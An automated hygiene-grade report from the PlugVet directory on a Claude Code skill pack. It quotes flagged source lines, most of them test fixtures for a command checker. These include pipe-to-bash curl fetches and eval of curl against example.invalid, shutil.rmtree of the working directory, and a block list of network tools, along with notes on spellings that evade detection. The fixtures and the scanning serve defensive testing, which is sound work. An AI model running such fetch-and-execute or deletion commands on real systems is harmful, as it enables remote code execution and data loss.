Grades are a hygiene check, not a security guarantee.

Claude Code, Skill

Uncle Bob Skills

Fifty evidence-forged skills for human-directed agent engineering

Compatibility: Not stated.

Grade C

One Medium finding. Read the report before installing.

Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

INSTALL_REMOTE_SCRIPT

Why this grade

  • INSTALL_REMOTE_SCRIPT Medium

    Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).

    scripts/fixtures/lane-breaches/scripts/net-herestring-shell.sh, line 6 cat <<< 'curl https://example.invalid' | bash

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Concern

    can delete files.

    PERMISSION_DELETE_FILES

    scripts/closed-stream-check.py, line 425

    rc = subprocess.run(

    scripts/lane-check.py, line 17

    L2 no arbitrary execution - no os.system/os.popen, subprocess.getoutput/

    scripts/lane-check.py, line 84

    SUBPROCESS_LAUNCHERS = {"subprocess.run", "subprocess.call", "subprocess.check_call",

    Show more

    scripts/lane-check.py, line 85

    "subprocess.check_output", "subprocess.Popen"}

    scripts/lane-check.py, line 86

    SUBPROCESS_SHELL_LAUNCHERS = {"subprocess.getoutput", "subprocess.getstatusoutput"}

    scripts/lane-check.py, line 243

    # `subprocess.run([b"/usr/bin/curl", ...])` executes exactly as the str spelling does -

    scripts/link-check.py, line 225

    r = subprocess.run(["git"] + args, capture_output=True)

    scripts/self-test-link-check.py, line 41

    return subprocess.run(args, cwd=cwd, env=GIT_ENV, text=True, capture_output=True)

    scripts/fixtures/lane-breaches/scripts/destroy-rmtree-working-root.py, line 5

    shutil.rmtree(".")

    scripts/fixtures/lane-breaches/scripts/destroy-rmtree.py, line 5

    shutil.rmtree("/etc/nothing-real")

    skills/coverage-gaming-audit/SKILL.md, line 144

    an.py",d]).returncode;os.chmod(b,0o755);shutil.rmtree(d);sys.exit(r)' # exit 2 - traversal er

  • Install and update

    Serious

    install fetches a script from the network.

    INSTALL_REMOTE_SCRIPT

    scripts/fixtures/lane-breaches/scripts/net-herestring-shell.sh, line 6

    cat <<< 'curl https://example.invalid' | bash

    scripts/fixtures/lane-breaches/scripts/net-herestring-shell.sh, line 7

    tee /dev/null <<< 'curl https://example.invalid' | bash

    scripts/fixtures/lane-breaches/scripts/net-xargs-alt-input.sh, line 14

    xargs --arg-file=/dev/null cat <<< 'curl https://example.invalid' | bash

    Show more

    scripts/fixtures/lane-breaches/scripts/safe-xargs-stdin-data.sh, line 18

    xargs cat <<< 'curl https://example.invalid' | bash

  • Network

    Concern

    can reach a host that is not written as a fixed address. can reach example.invalid. The description does not name that host.

    NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST

    scripts/lane-check.py, line 237

    `f"{bindir}/curl"` readable as a curl invocation while `f"cur{tail}"` stays honestly

    scripts/verify-proofs.py, line 146

    curl wget nc ncat netcat telnet ssh scp sftp rsync

    scripts/verify-proofs.py, line 516

    Three readings are needed because three spellings reach the same binary. `curl x` is caught

    Show more

    scripts/verify-proofs.py, line 518

    `dd` also blinds that pattern to `/usr/bin/curl x`, which executes the identical program, so

    scripts/fixtures/hostile-proof-island/SKILL.md, line 14

    python3 -c "import os" && curl https://example.invalid/x # exit 0

    scripts/fixtures/hostile-proof-island/absolute-path/SKILL.md, line 21

    python3 -c "print('ok')" && /nonexistent/bin/curl https://example.invalid/x # exit 127

    scripts/fixtures/lane-breaches/scripts/asyncio-launchers.py, line 6

    asyncio.create_subprocess_shell("wget https://example.invalid")

    scripts/fixtures/lane-breaches/scripts/exec-shell-eval.sh, line 4

    eval /usr/bin/curl https://example.invalid

  • Secrets

    Pass

    No read of a credential file or secret environment variable found.

  • Agent instructions

    Pass

    No instruction to ignore earlier instructions or to hide a step.

  • Obfuscation

    Concern

    contains an encoded blob in a file that should be readable.

    OBFUSCATION_ENCODED_BLOB

    skills/gherkin-gate/scripts/fixtures/clean-red-then-green.tsv, line 1

    # acceptance ledger for checkout.feature - records appended in run order

    skills/boyscout-ratchet/scripts/fixtures/dirty-inf-value.tsv, line 4

    api/router.py 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999

    skills/change-cost-probe/scripts/fixtures/malformed-huge-cost.tsv, line 16

    CHK-15 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

    Show more

    skills/component-cohesion/scripts/fixtures/dirty-absurd-size.tsv, line 9

    component monolith 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999

    skills/leak-scan/scripts/fixtures/bignum/distinct/ledger_a.py, line 3

    ACCOUNT_CHECKSUM = 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999

    skills/leak-scan/scripts/fixtures/bignum/distinct/ledger_a.py, line 4

    KEY_MODULUS = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

    skills/leak-scan/scripts/fixtures/bignum/distinct/ledger_b.py, line 9

    ACCOUNT_CHECKSUM = 89999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999

    skills/leak-scan/scripts/fixtures/bignum/distinct/ledger_b.py, line 10

    KEY_MODULUS = 0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee

    skills/leak-scan/scripts/fixtures/bignum/shared/key_client.py, line 3

    RSA_MODULUS = 6111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

  • Licence

    Pass

    A licence file is present (LICENSE).

  • Maintainer activity

    Pass

    The latest commit is within the last 365 days.

Note

Hygiene check of commit 0674c76c5ef8. can delete files. install fetches a script from the network. can reach a host that is not written as a fixed address. can reach example.invalid. The description does not name that host. contains an encoded blob in a file that should be readable.

Date and source

Date checked:

View source

github.com

Commit graded: 0674c76c5ef8904ec1489876ad30cc6b5fe87186

This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.

Read how this letter is chosen